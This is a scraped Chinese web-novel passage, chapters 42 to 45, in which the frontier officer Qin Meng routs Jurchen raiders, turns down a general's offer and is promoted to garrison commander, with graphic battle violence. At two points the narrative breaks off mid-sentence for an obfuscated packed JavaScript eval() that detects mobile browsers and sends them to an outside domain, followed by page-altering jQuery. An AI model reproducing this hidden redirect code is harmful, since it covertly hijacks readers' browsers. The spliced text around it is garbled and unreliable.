“哈扎尔大人死啦——?长生天啊!”这消息如同致命的瘟疫,随着这声惨叫迅速传遍溃散的队伍。
最后支撑着女真勇士仅存的一点战斗意志的支柱。
——他们图鲁木部落那如战神般不可战胜的巴特。
被瞬间碾碎、屠杀了!?
本就濒临崩溃的防线彻底土崩瓦解。
残存的二三十个女真骑兵哪里还有什么抵抗的念头?
只想离那个踏着首领尸体、浑身浴血的杀神越远越好。
哭爹喊娘的声音撕心裂肺,只恨战马为何不再多生两条腿!
没命地鞭打坐骑,如同被疯狗追赶的兔子,不顾一切地朝着拒马河冰凉的浅滩方向疯狂逃窜。
丢弃的武器、毛皮甚至连马匹也不顾。
秦猛纵身上马,与刚刚冲下坡道、杀得浑身是血的秦大壮汇合。
阵斩敌将的威势如同熊熊燃烧的火炬!
“追!”秦猛的声音如同钢铁摩擦,“除恶务尽!”
“杀鞑子,一个不留!”
秦大壮喉咙嘶哑如同破锣,眼中却全是复仇的火焰。他的父亲和兄弟同样死在鞑子袭扰中。
两支队伍合兵一处,如同重新聚合的狂飙巨浪,挟着不可阻挡的气势,对着溃兵掩杀过去。
溃兵只顾逃窜,毫无抵抗之心。马蹄翻飞,刀枪齐出,惨叫声一路延伸至河边。
一直追杀入那冰冷刺骨、没过小腿的浅水区。
浑浊的河水被疯狂搅动,被血染得更加污浊。只有稀稀拉拉七八个鞑子狼狈如丧家之犬,几乎是连滚带爬地翻上对岸,消失在夜色中……
第42章 来了个大人物
“嘘!”秦猛慢了半拍,望着几个鞑子分散逃窜消失在黑夜中,勒马伫立在冰凉的拒马河上。
他眺望着界河北岸,任由凛冽河风卷着血腥气和草原特有的苦艾草气息,猛烈地扑打在脸上。
枣红马粗重地喷着鼻息,蒸腾起大团白雾。
秦猛将染血的长枪笔直地指向北方苍茫无际的辽阔草原深处。那辽阔无垠的草原尽头枯黄,死寂,却仿佛潜藏着无数贪婪嗜血的眼睛。
他胸中那股奔腾的热血尚未冷却,反而随着这声咆哮直冲云霄:“总有一天,老子会马踏塞外。让这些不知死活的狗鞑子血债血偿。”
秦猛的吼声如同受伤猛虎的咆哮,混着金属般的铿锵,在空寂的界河上疯狂震荡、回响:
“记住今天,凡敢犯我界河者——虽远必诛!杀无赦!”
声浪如闷雷滚过初绽的战场上空,带着铁与血淬炼出的杀伐之气,清晰无比地传到了河对岸。
“卑职等愿追随将军!踏平草原,斩尽胡酋!”身后,张富贵、李山、王铁山,还有铺堡那两个壮硕青年,声音都因为过度嘶吼而破哑。
但每个人眼中都燃烧着一种近乎狂热的火焰!
那火焰炽热、纯粹、夹杂着恨意,不顾一切。
全都凝固在他们望着前方那挺立如山的伟岸背影上。
众人把鞑子尸体搭在马鞍上,拨马踏上归程。
当他们的马蹄踏上依旧属于大周疆土的南岸河滩时。
恰好,夜色终于褪去。
天蒙蒙亮,东方天际浮现一抹鱼肚白。橘黄自黛青色山脉与铅灰色天际相接的尽头奋力跃出。
晨曦的光芒,瞬间泼洒下来。
覆盖了拒马河浑浊的流水、染血的河滩、残破的兵器、倒伏的尸骸,也笼罩了这些刚刚经历血火淬炼、全身沐血如同铜浇铁铸般的汉子们。
他们的眼神锐利,身上凝固的血污竟如同暗红色的甲胄,反射出一种冰冷而肃杀的光泽。
凛冽!锐气!杀戮!
狼藉的战场喷发着硝烟与血气!
“赢……赢了?”
“老天爷!鞑子…鞑子几乎被杀光?”
劫后余生的燧堡守军终于艰难地消化了这个不可思议的事实,坡上,坡下空地,女真鞑子的尸体铺陈开来,浓烈的血腥气令人作呕。
人群中有压抑的啜泣声响起,随即被更大声的狂呼和嚎叫淹没:“赢了!我们活下来啦——!”
而伴随马蹄声,席卷而来的铁甲骑队如潮水般杀来,却晚了一步,在缓坡之上缓缓停驻。
为首的将军勒住马头,在数十名身披兽面铠的亲卫的簇拥下,冷峻的目光如同两柄实质的利剑,居高临下地穿透了硝烟未散的战场。
他精准地锁定了那浑身浴血、追杀归来的秦猛身上。南河城寨知寨魏文陪同随行,态度恭敬。
那铁甲将军身后,紧随其后的一名高大亲卫,背着箭囊,臂膀上还斜挎着一张几乎与人等高的巨弓,乌沉的铁胎弓身泛着冷冽的寒光。
——正是之前射出那惊世一箭之人。此刻,他锐利的鹰隼般目光同样穿透空间,牢牢锁定秦猛,嘴角似乎勾起了一丝冷酷而玩味的弧度。
战场中央,秦大壮已跑得上气不接下气地冲到秦猛身边,一把拉住他的胳膊,激动得语无伦次:“猛子!快,快…走,大人物来了。”
“什么大人物?”秦猛不由皱眉:“来了能咋的?鞑子是我们击溃的,他们休想分走军功。”
“你…你?”秦大壮被胆大包天,又冷静无比的秦猛给说愣住了,缓口气定神,依旧激动地说。
“是边防帅司来人,天大的人物来了。魏知寨陪着呢!
是…是虎贲军飞虎卫的赵将军,拜幽州防御使。巡视边堡,见到咱这狼烟起来了,特意赶过来。”
“那倒是不小。”秦猛眼睛眯起,露出若有所思状。
秦大壮几乎是半拖着秦猛,拨开围观的人群,向着那如铁塔般矗立在高处的赵将军走去。
近距离感受到那将军身上散发出的、久经沙场杀人盈野带来的铁血威压和上位者的凛然气势。
秦大壮只觉得腿肚子又在打颤,头都不敢抬起,结结巴巴地行礼:“卑职…边堡队将…秦大壮…叩…叩叩见将军…”
反观秦猛,虽浑身浴血、衣甲狼藉,但却依旧昂首挺胸,不卑不亢,按照边军中的礼节行礼。
“末将边堡管队官秦……”
秦猛话语戛然而止,只因视线扫过对方身后亲卫时看到了熟人,那个挎着巨弓的高大青年。
“是你?”秦猛眼睛微眯,声音转冷。
就是这家伙!之前那一箭极为凶险。他嘴角甚至扯出一个带着血腥气的冷笑,若非场合特殊,恐怕就要当场发作,将其按在地上摩擦。
“哦,你们认识?”那赵将军眉头挑动,好奇地问。
“不认识!”秦猛摇了摇头,直言不讳地说道:“之前这小子放冷箭,我准备事后揍他一顿。”
“呃……”魏知寨听了额头渗出冷汗。
秦大壮和张富贵等人就更是脸色剧变,神色紧张。就算有点过节,也不能当着将军面说。
“哼,谁揍谁还不一定!”那青年冷笑,本欲再说。却被那赵将军摆手打断,盯着秦猛问道。
“你叫何名?”
他的声音低沉浑厚,带着不容置疑的威严,如同战场金铁交击后的嗡鸣,回荡在众人耳边。
“边堡管队官秦猛,见过赵将军。”秦猛的声音清朗有力,没有任何修饰和畏缩,坦然应答。
一旁的魏知寨见状,连忙上前一步,在边上极力推荐道:“将军明鉴,秦管队文武双全。
两年前,其父亲秦武为保护百姓断后,拦截鞑子力战捐躯,忠烈可嘉。
秦家乃是昔日大周开国虎威将军秦天罡的后裔。乃是名门忠烈之后!忠良种子啊!
真是虎父无犬子!今日一见,果然虎将也!末将之前失察,未能早加关照,实在惭愧,惭愧!”
那赵起将军——虎贲军飞虎卫主将听着魏知寨的话,锐利的眼中精光连连闪烁,他仔细打量着眼前这个高大英武、眼神悍勇不驯的年轻人。
名将血脉?难怪如此勇烈!
“斩获几何?”赵起沉声问道,语气单刀直入,不拖泥带水。
秦猛心念电转,他在破庙至燧堡,接连转战,杀了许多,但具体数目在混乱的激战中哪能记清?
他略一沉吟,答道:“未曾细数,光鞑子六七十骑总有。另外斩杀敌将一名,地位很高。”
他报了个保守却不失气势的数字,语气淡定得仿佛在说宰了几十头羊一般,没有丝毫邀功的刻意。
“好!”赵起吐出一个字,斩钉截铁,带着由衷的赞赏。
“大周律法,斩首换功,升官进爵皆有规制。你冲阵,斩将,护堡,功劳之巨,可入飞虎卫效力。”
虎贲军数万人,分为左右两卫,以及飞虎卫。而其中的飞虎卫,是边军精锐,虎贲军王牌。
赵起看着秦猛,如同看着一块未经雕琢的璞玉,眼中满是欣赏:“入本将亲卫营,暂授部将职衔,实授都尉,再赏银五百两,绢帛二十匹。随本将回幽州飞虎大营听用,如何?”
“嘶…”在场许多人倒抽凉气。
包括那背弓青年,甚至知寨官魏文。
其他的不说,光是一个都尉,至少从六品武官,就已经跟他正将,知寨齐平,甭说以后了。
这待遇简直是一步登天!
从一个八品管队官这不入流的武官,瞬间跃入幽州边军最精锐的飞虎卫。成为主将近卫部将。
俸禄、前程皆不可限量。
是多少人梦寐以求,苦熬半辈子也得不到的机遇。
秦大壮激动得嘴唇都在哆嗦,几乎不敢相信自己的耳朵。
跟过来的张富贵,李山等军汉眼中更是射出极度羡慕的光芒,看向秦猛的目光充满了敬畏。
魏知寨也连连点头,心中暗叹秦猛真是时来运转。
这一步算是彻底登天了!
秦猛面无表情,心中却瞬间权衡起来。
跟随这位明显权势滔天的赵将军,确实是一条常人梦寐以求的青云之路,前途不可限量。
但入了行伍,便处处受制于军法、人脉和上官意志。而且要面对这位在官场潜在的对手。
最重要的是,想要按自己的想法练兵、招揽人手、种田积粮、打造属于自己的铁杆势力?
恐怕只能是奢望!
这与他想在此地扎根、依靠边民为基,聚拢流民、借大周边镇之名徐徐扩张势力的计划,完全南辕北辙。
更何况……他目光扫过远处正在打扫战场、看向他时眼中充满敬畏和依赖的铺兵、戍卒。
一入幽州大营,等同舍弃了边堡。与这些浴血奋战的兄弟们划清了界限,为了前程而忘义。
风光一时,后悔一世。
秦猛心中已有了决断,不可能为了官职而改变计划。他深吸一口气,朝着赵起抱拳行礼,目光坦荡而坚定:“将军厚爱,小子感激涕零,可对不住了!大丈夫立于世,信义为先。”
周围人眼睛瞪得老大,顿时鸦雀无声。用不可思议的目光看着秦猛,这位是要拒绝将军拉拢?
放弃这拓者可多的大好前程?
第43章 升任知寨官
秦猛目光迎向那位赵将军审视的眼眸,继续说道:“末将家有妻子,幼妹需得安顿守护!父亲当年死战不退,就是守护这片土地和百姓。
他生前更曾向此地袍泽父老立誓,要护这小南河堡一方平安。此诺因个人前程,食言而肥。愧对父亲在天之灵,更愧对数百堡民信任。”
他猛地抬手,指向拒马河对岸那苍茫无际的草原,声音铿锵有力,带着一股气吞山河的锋锐。
“将军,这界河之畔,才是小子的用武之地。**年年寇边,掠我财货,杀我父老,血债累累。
末将恳请,愿在这边墙之地,效犬马之劳。守护这条大周屏障,斩鞑酋狗头,筑京观于界河。
护我大周河山,护我边地百姓,男子汉大丈夫,建功立业就在前线,不在后方,请将军成全。”
他的话掷地有声,充满了对异族的刻骨仇恨和对建功立业的强烈渴望,字里行间皆是一腔血勇,赤诚报国之心溢于言表,压过了凛冽寒风。
周围的军卒们听完这番话,个个挺直了脊梁,齐齐眺望河对岸,寒风吹在脸上也浑然不觉。
秦大壮也不再紧张,张富贵,李山等人目光呆滞。
知寨官魏文下意识地攥紧了手中的刀柄,只觉得脸颊发烫。
他在边地守了这些年,年纪大了,锐气早被磨得差不多了。
此刻听着这年轻人字字泣血的誓言,只恨自己没能始终揣着这份热血,一时间又愧又敬,望向秦猛的目光里多了几分沉甸甸的认可。
不远处那个背着巨弓的魁梧青年原本嘴角还带着几分漫不经心,此刻眉头却缓缓舒展开,粗糙的手指在弓梢上轻轻摩挲着。
他看向秦猛的眼神变了,先前的审视,挑衅淡去,取而代之的是一种同类间才懂的敬重。
——那是对滚烫初心的共鸣,是对秦猛的钦佩。
其他亲卫更是神色动容,交头接耳间难掩激动。他们跟着赵起将军多年,最清楚将军年轻时便是凭着这般“护河山、护百姓”的孤勇闯出名堂。
如今见这年轻军官眼中燃烧着同样的火焰,便知他绝非池中之物,这般年纪便有如此格局与血性,将来定能在这艰苦的边地闯出一片天地。
寒风依旧呼啸,但军卒们的心头却像被点燃了一簇火,暖烘烘的,连带着周围的空气都仿佛多了几分肃杀的锐气。
赵起盯着秦猛看了半晌,这位以直爽刚毅闻名的虎将,非但没有因对方拒绝自己的好意而恼怒,反而眼中的欣赏之色更浓。
他最欣赏的,就是这股子赤诚勇烈、言出必践的劲儿。从秦猛身上看到自己年轻时的影子。
“好,好一个信义男儿!好一个斩酋筑京观!”赵起的声音陡然拔高,充满了豪情壮志。
“本将便依你,你既志在戍边,忠勇可嘉,这是立夏冲阵,斩将之功,本将便破格用你!”
他大手一挥,声音响彻刚刚安静下来的战场,如同军令落地,清晰地传入每个人耳中:
“即日起,小南河堡升为军寨,擢秦猛为虎贲军磐石营副将,实授军寨知寨,秩正七品武职。
辖三座边堡燧台,统管所有防务及军户民事。自行募兵训练,甲胄、粮饷、布帛即刻拨付。
望尔谨守职责,靖安边防,驱逐鞑虏,护这片土地和百姓,不负皇恩,不负边防帅司厚望。”
秦猛心中猛地一跳,成了!
磐石营副将!南河城寨驻扎2000边军,正是磐石营。副将,官居正七品,可自称将军,能率领一部五百兵马,可组建五十人的亲卫队。由帅司调拨甲胄装备,这是实打实的晋升。
而这实授的正七品知寨一职,就更不得了。尤其是军堡升级为堡寨,哪怕是小型军寨。
可驻扎兵马人数将达到五百,连同“辖三座边堡所有防务及军户民事”的权力,这正是他梦寐以求的根基。
七品武官,虽然品级不算高,在边镇武职中也属末流。
但在这片土地上,他就是法理上名副其实的最高长官。军寨他说了算,说是土皇帝也不为过。
“卑职秦猛,谢将军拔擢之恩!誓死守边,万死不辞。”秦猛压下心中的波澜,单膝跪地,抱拳行礼,动作干脆利落,话语里充满决绝。
魏文在边上羡慕不已,他半辈子到了如今的位置。这个故人之后,地位已不比自己低多少。
秦猛起来后,又说出让众人惊掉下巴的话:“但是将军,这个奖励还不够,俺功劳未说完。”
赵起眉头微挑,眼中闪过一丝诧异。
秦猛继续说道:“将军有所不知,昨夜末将带人追查敌踪,遭遇捕奴团队,斩杀数十个腌臜,救下近百父老乡亲。
另外在得知图鲁木部**来接应,破庙设伏,先斩杀五十个**,还活捉了猛安勃极烈……”
“什么?”赵起冷峻的脸上瞬间浮现出惊讶之色,他身边的数十个亲卫,也个个目瞪口呆。
——他们比谁都清楚,战场上能活捉一个女真部落猛安勃极烈,这可意味着是天大的功劳。
这猛安是草原部落的称呼,为千户长,看似与千夫长类似,实则两者的地位天差地别!
千户长配牧场、征收赋税、差派徭役和统领军队。是女真部落的重要人物,生擒,绝对是大功一件。
秦猛见众人惊讶的样子,便把昨夜王寡妇儿子被劫掠走的事情,详细说来。参与的张富贵,王铁山等军汉纷纷附和,还原了昨晚一幕幕。
这顿时又引起周围众人惊愕和羡慕。
魏文看着秦猛,心中长叹“这小子果然不简单。”
赵起略一沉吟,沉声道:“这的确是大功一件,军中无戏言,本将话已出口,岂能轻易更改?”
他话锋一转,给出了承诺,“这功劳先记着!等到开春,戍堡军队训练有成,参加大比若能取得好名次,老子再向帅司保举,提拔你。”
他顿了顿,补充道:“另外,南河堡沿河的田地、草场再扩充十里之遥,足够养活你这次缴获的战马。”
赵将军没有放空话,当场便给
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418859|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了实在的好处。
秦猛见好就收,没有得寸进尺,欣然接受:“谢将军!”
“等等,你军寨初建,百废待兴,手下无人可用。”赵起见秦猛眉飞色舞,猛地一摆手。
“袁飞,徐强。”赵将**向身后。
“在。”背巨弓的青年和一个三旬壮汉应声逼停列。
“擢你二人各带五人,留在此处军寨,协助秦知寨训练兵马,引导督促边防,不得有误。”赵将军不给秦猛反应的机会,大声下令。
“是!”
“呃……”秦猛傻傻地看着这一幕。
赵将军看着错愕的秦猛,指着身边亲卫笑道:“秦知寨,我这两个亲卫,本领超群,正好协助你,尽快募兵训练,防范图鲁木部落来犯。”
“多谢将军厚爱。”秦猛神情恢复如常,拱手道谢。
一下子多了十来个将军身边的人,如同眼线。却利大于弊,不光是帮忙训练军队,最重要的是有事直接找将军,对代表是赵将军心腹。
随后,这位赵起将军没有理秦猛,而是嘉奖有功之人。秦大壮和李山、张富贵等人也同样得到了赏赐和升任低级军职的承诺,只要秦猛把名单递交上去就能认命,个个喜不自胜。
尘埃落定,烽烟散尽。
“秦寨主,”赵起端坐于战马上,声音穿透晨风,“此地便交予尔手。边墙不宁,鞑虏未清。
本将此去仍要巡视马水口、双涡港,黑峪关诸堡——你且守好这道口子,不可懈怠军务。”
他马鞭遥指北方荒原,目光如炬。
秦猛抱拳沉声应诺:“将军放心,末将定将此界河铸成铁壁!”
赵起微微颔首,目光扫过正在泥泞中忙碌分拣战利品的戍卒。魏知寨早已识趣地率队主道。
赵将军身后庞大骑队再度启动,铁蹄叩地声渐如沉雷远去,最终化作天际一道移动的玄色锋线。
朝阳东升,霞光洒落大地,照亮了战场的狼藉,也照亮了南河堡军民眼中对未来的期盼。
新堡主的旗帜,即将在这片浸满血与火的边陲之地升起,预示着一个属于秦猛的新时代,即将在此开启。
秦猛目送赵将军走远,转头看向将军亲卫,目光落在青年袁飞身上时,忍不住摩拳擦掌,脸上挂着几分戏谑的怪笑。
袁飞被他看得心里发毛,只能绷着一张脸,装作没瞧见。
秦猛本就没什么坏心思,不过是想着往后找机会,“教训”一下这傲气的小子,眼下正事要紧。
他领着十二个将军亲卫在燧堡内巡视,分派任务,又把秦大壮、张富贵等人唤来,彼此熟络了一番。
燧堡里很快烧起几大锅热水,秦猛脱掉狼裘衣,洗去身上血污,当即嘱咐秦大壮坐镇堡内:
一是仔细打扫战场,清点伤亡与缴获;二是加派岗哨严加防范,莫要给残余**可乘之机。
安排妥当后,秦猛便亲自带队,护送十来个受伤的弟兄,赶往军堡的医疗所救治。而边堡升军寨和他因功升为知寨官的消息一步传回!
第44章 边堡沸腾
破晓的霞光艰难刺穿了幽州边境弥漫的硝烟,将小南河边堡染上了一层疲惫的金红色。
但此刻,堡内堡外,却沸腾着近乎癫狂的喧嚣。
“喜事,大喜事!秦管队升官了!”
“军寨,是军寨啊!咱们边堡升格了!”
“天爷!往后咱堡里要有知寨老爷、主簿,税吏……”
消息像燎原的野火,瞬间点燃了沉寂许久的边地。
堡民们奔走相告,脸上混杂着难以置信与狂喜。
王婶得知这个消息后,第一个往秦家小院跑。
王寡妇、李婆子等堡里妇人不约而同地报喜而来。
边堡,这个苦寒之地的小小军事边堡,多少年来除了堡主,最高的位置也就是队将之流。
而从堡升格为军寨,意味着翻天覆地的变化。
——直接向飞虎大营奏报军情,粮饷由帅司、州府调拨。除了规模外,地位与南河城寨相当!
一旦人口、兵力达到规模,主簿、书吏、税吏、治安官、都头、工坊工头等职位不可或缺。
这些虽然只是“吏”,却是军寨体系内被正式承认的职位!
这意味着旱涝保收的额外粮饷,摆脱纯农户的身份,甚至是通向“官身”的第一道坚实台阶。
新兴军寨,职位空缺着呢!
这对于世代挣扎在生存线上的普通堡民和新安家的流民而言,简直是泼天的富贵砸在眼前。
最关键的是,这任命权在秦猛手上!
试问,最初那批堡民岂能不高兴?岂能不主动靠拢?
官署里,原本坐镇一宿,趴在案头昏昏欲睡的老保长王槐,被报信人的大嗓门吓得一激灵,瘦小的身躯几乎从破旧的椅子里弹了起来。
浑浊了半辈子的老眼瞬间瞪得溜圆,看着来报信的后生,锐利如鹰,哪里还有半分昏聩?
“当真?是虎贲军飞虎将军亲口允下的知寨官?”
得到确认后,老保长激动地拍着大腿,拐杖也丢到一边,绕着桌子走了好几圈,袖口的补丁都差点甩掉:“好、好、好!猛哥做的漂亮,秦家勇猛尚存,咱们堡…咱们寨熬出头了!”
“快,快通知堡民迎接知寨官,堡内上下要同心,咱们得支持自己人,发什么呆?快去。”
老保长边朝后生嚷嚷,边往外边走。
没走几步,这老头猛地止住脚步,再次折返,把甩掉的拐杖捡起来拄着,恢复老眼昏花,慢吞吞的样子,瞬间不复之前那副利落劲儿。
这一幕把报喜的后生看得瞠目结舌。
消息一传十十传百,堡内彻底沸腾了。
新近安顿下来的流民们更是喜极而泣。
军寨意味着更强的防御力量,意味着他们这个刚刚落脚、能吃饱饭的“新家”,终于有了稳定的根基,有了过上好日子的希望。
连一向沉默老实的李铁匠,望着堡外喃喃自语:“军寨?咱家大郎,是不是该唤回来了?如今时局混乱,考功名那路太难走,不如……”
一种从未有过的可能性在他心底滋生。
当朝阳渐炙,秦猛率领队伍抵达军堡外时,映入他眼帘的,是乌泱泱几乎倾巢而出的人群。
老保长王槐站在最前列,腰板挺得笔直,脸上是压抑不住的激动。
他的两侧,陈月娘紧握着秦小芸的手,两人眼眶都有些泛红,却都努力挺直着身体,眼中满是对夫君/哥哥平安归来的欣喜和一丝后怕的余悸。
他们三人,被堡民们簇拥着,如同众星捧月般,遥遥迎接着这位一夜之间改变边堡命运的年轻英雄。
“回来了,秦管队回来了!”
“以后得叫秦知寨!秦将军!”
“秦老爷威武!”
人群狂**挥手,杂乱的欢呼声响彻云霄,各种称呼混杂在一起,表达着最朴素的敬意和期待。
秦猛在马上连忙挥手,试图压下这片过于炽热的声浪:“乡亲们,停一停。低声些,这只是赵将军抬爱之言,正式的公文印信还未下达,切莫张扬。”
他并非不感激这份心意,只是深知人怕出名猪怕壮,边地险恶,过高的声名易招致明枪暗箭。
“秦知寨,你这话可差矣!”老保长两步抢上前,中气十足地反驳道,声音清晰地盖过了嘈杂。
“飞虎赵将军是何等人物?那是名震北疆、令**闻风丧胆的飞虎大将,他金口玉言,许诺你为知寨官,岂能有假?这堡寨升格之事,板上钉钉!”
老头底气十足的话,立刻引来更热烈的附和。
“就是!”
“老保长说得对!”
“秦知寨,您就别谦虚了!”
一片哄然的欢呼再次涌起。
陈月娘,秦小芸也激动地挥手,令秦猛一时无语。
就在这时,王寡妇从人群中挤了出来,红肿的眼睛急切地在队伍里搜寻,声音带着哭腔:“知寨…秦大人,俺家大宝…俺家那小子,他…他怎么样了?”
“春…”秦猛正要开口安抚这个忧心如焚的母亲。
张富贵的眼睛最尖,猛地指向边堡南边方向,扯着嗓子喊:“秦大人,快看南边,又来人了!”
众人下意识转头望去。
只见南方尘土微扬,一支浩浩荡荡、行动迟缓的车队正缓缓向堡门移来。
队伍之中有百多匹马,驮着人拉着车,车上挤满了衣衫褴褛、面黄肌瘦的百姓——正是庞仁押送着从**手中救回的人归来。
“娘——!娘啊——!”
队伍尚未到近前,一个稚嫩激动、几乎变调的大嗓门就已经穿透空气,清晰地传来。
接着,一个虎头虎脑的半大小子脱离队伍,飞奔而来。
是王大宝!
“大宝,我的儿…”王寡妇浑身一震,泪水瞬间决堤,嘶喊着儿子的名字跌跌撞撞地扑了过去。
人群让开一条通道,母子二人终于在堡门外相遇,死死
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418860|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抱住对方,爆发出撕心裂肺的痛哭。
这幕场景让许多人不禁抹眼角。
母子哭声在众人短暂的寂静中显得格外突兀。
因为大部分人的目光早已被一个庞大身影牢牢吸引——山蛮巨汉乌维!
堡民不看也不行,这身高过丈(一尺23厘米)、筋肉虬结如铜浇铁铸的巨汉,站在那些获救的流民和庞仁的士兵中间,简直就是鹤立鸡群。
阳光勾勒出他夸张的肌肉线条和脸上那道狰狞如蜈蚣的伤疤,野蛮、强悍、压迫感十足的气息扑面而来。
他拎着雪亮弯刀,那双闪烁着漠然精光的眼睛随意扫过人群,堡民们下意识地屏住了呼吸。
“蛮…蛮族?”袁飞和徐强见多识广,认了出来,脸色微变。
“乡亲们呐!不要怕,”秦猛拍马上前,指着乌维,朗声介绍道,“这位勇士叫做乌维,是我收服的亲兵。
以后就是咱们自己人,守护军寨!昨晚若非他拼死奋战,杀敌十余,我等恐怕难以全身而退。”
“没错!这好汉一dan子下去,**便如草包般瘪了……”庞仁立刻接上话茬,把昨晚亲眼看到乌维冲阵的勇猛表现,简单提了几句。
“乌维!乌维……”堡民们听到这大汉昨夜如此勇猛,一个个目光敬畏,欢呼声再次响起。
乌维听着欢呼声,岩石般的脸上罕见地咧开嘴角,露出一丝与其凶悍外形不符的、略带憨厚的笑容。
秦猛驱马来到他身边,板着脸低声叮嘱了几句军规。特别是强调自己人,堡内不可随意动手。
“好。”乌维点头,瓮声回应。
袁飞、徐强看着眼前这一幕,目光呆滞了,嘴里无意识地呢喃着,靠近些能听见这怎么可能?
他们今天被这小小的边堡一次次冲击着认知!
深山老林里的蛮族素来桀骜不驯,除了偶尔用皮**就近与村民交换粮食,几乎不与汉人打交道。
就算是幽州大营最精锐的部队,也绝无这等强悍的战士!
整个大周朝境内,能驯服这种量级战士的地方,那也是屈指可数。
谁能想到,在这偏僻的边堡小地,竟藏着如此一个怪物?
秦猛扫到袁飞、徐强脸上那种混杂着惊骇、敬畏的神情,嘴角勾起一丝微不可查的笑意。
他从马鞍旁抽出那把自扎哈尔处缴获的巨型弯刀。此刀又长又宽,刀身沉重,造型野蛮粗犷。
“接着!”他低喝一声,将弯刀抛向乌维。
乌维那蒲扇般的大手稳稳接住弯刀,掂量了一下那沉甸甸的分量,似乎颇为满意。
他那张刚毅的脸上笑容更浓了几分,露出雪白却略显森然的牙齿。
他笨拙的,但极其郑重地双手持刀,向秦猛微微躬身,发出含混的音节:“谢…头人赏。”
这一幕更是让围观的堡民噤若寒蝉,随后却又兴奋不已,看向秦猛的眼神中,敬畏更深。
第45章 战后,归宅暖语
“嘘——”
庞仁率领的车队ku''yu抵达堡门外。
数十辆马车上堆满了缴获的战利品:长弓短弓、弯刀**、血迹斑斑的衣甲军械。
靠后的车辆载着七八匹战马的尸体,还有一些捕奴团和**的尸体,甚至连草料都装了满满几车。
——这位庞什长果然听话,不放过任何有价值的东西。
堡外聚拢的人群自发让开一条更宽阔的道路,供车队入堡。
秦猛瞅见了尸体,立刻吩咐:“张富贵,你带人把死马送到杀猪棚去!王铁山,你和手下,把**和捕奴团的尸体都拉到燧堡那边,仔细清点登记清楚!”
“是!”张富贵、王铁山领命而去。
“报告管队爷!”庞仁则小跑着来到秦猛马前,双脚“啪”地靠拢,身形挺得笔直,大声汇报。
“所有乡亲、战利品安然送回军堡!”
他昨夜在破庙方归,还未得知秦猛升官之事,称呼仍未改变。
袁飞、徐强两人看着这戍卒昂首挺胸、站姿如松的架势,不禁又是一愣。对方身上散发一股莫名的肃杀感,与普通戍卒截然不同。
“庞小子,管队升官了,以后要叫秦知寨嘞!”老保长等上了年纪的堡民连忙吆喝着提醒。
“没错,飞虎卫赵将军亲口提拔的!”
庞仁听得一愣,随即眼中精光一闪,反应极快,立刻改口,声音洪亮:“秦知寨,此次战利品清点完毕,共缴获战马一百一十七匹……”
“停。”秦猛打断他:“不急着汇报,昨夜连续三场硬仗,人困马乏。眼下最要紧的两件事:
一,妥善救治伤员,参战人员休整;
二,此次收获庞大且杂乱。庞仁,你立刻将缴获清单初步整理出来,交给诸葛幕僚统计。”
秦猛不再耽搁,转向协助安顿人群的老保长:“保长,烦请立刻安顿伤员,并接收战利品。”
“好!”老保长应声拄着拐杖上前,接手安排:“大伙都别愣着了?但凡有伤员,立刻抬去医疗所!赵四,王老五,带几个人去搭把手。”
“手脚利落的婆子去官署收拾房间,带人烧水做饭。招待此战有功之臣,飞虎军诸位勇士。”王保长看到袁飞,徐强等人,不用秦猛解释,从他们身上黑甲就明白,立刻吩咐。
“家有一老,如有一宝呀!”秦猛心中感慨着,又在人群中张望呼喊:“幕僚长诸葛风何在?”
“属下在。”诸葛风闻声从一辆马车旁挤出人群。在堡内安置下来,书生脸上菜色被红润取代,头发稍显凌乱,但身姿挺拔,神态冷静。
“诸葛先生。”秦猛直接下令,“立刻着手。将救回的所有人员妥善安置登记,立下具状。
所有缴获战利品包括武器、铠甲、马匹等务必分门别类,详细统计造册。人员、物资,分毫不可错漏。处理好后,到我那里汇报即可。”
“是!大人。”诸葛风干脆利落地领命,眼神一扫,已有条不紊地开始召唤人手,赶赴燧堡。
“大人,这……”
庞仁凑近秦猛马前几步,似有话要说,却突然瞥见袁飞和徐强两个陌生面孔时,欲言又止。
秦猛看出庞仁的顾虑,眉头微皱,直言道:“你有话直说。这两位是飞虎营赵将军特批调来的教官。袁飞、徐强,协助整训军寨防务的。是自己人,信得过,不必藏着掖着。”
庞仁“哦”了一声,依旧是压低声音汇报着:“是小的没看好俘虏,捕奴团一个受伤轻的活口,趁我等对付**磨断绳子,钻狗洞跑了。”
“请大人责罚!”庞仁圆脸沮丧,声音充满了懊恼。
“算了,这些畜生狡猾得很,咱兄弟人没事就好。”秦猛狠狠斜了他一眼,没好气地摆手。
“好,自己跑了就好。”他眼神闪烁,冷笑连连。心里却说着消息不扩散,老子哪有机会动手?
两人的简短交谈虽声音极低,但离得近的袁飞和徐强还是隐约听到“捕奴团”“俘虏跑了”几个词。
他们又看着秦猛与庞仁之间那意会的眼神交流,越想越觉得这位秦知寨似乎在谋划着什么……
……
秦家小院。
秦猛将袁飞、徐强两位将军亲卫介绍给老保长认识,顺便交给老人安顿招待。他打了个哈欠,与陈月娘、秦小芸会合后,一同回了家。
陈月娘利落第收拾好耳房,供乌维单独居住。那魁梧壮汉微微低头躬身,才挤进这种铺屋。
陈月娘和秦小芸望着他的背影,脸上仍带着怯意。
这汉子身形实在太魁梧,往那儿一站,便自带一股无形的压迫感。
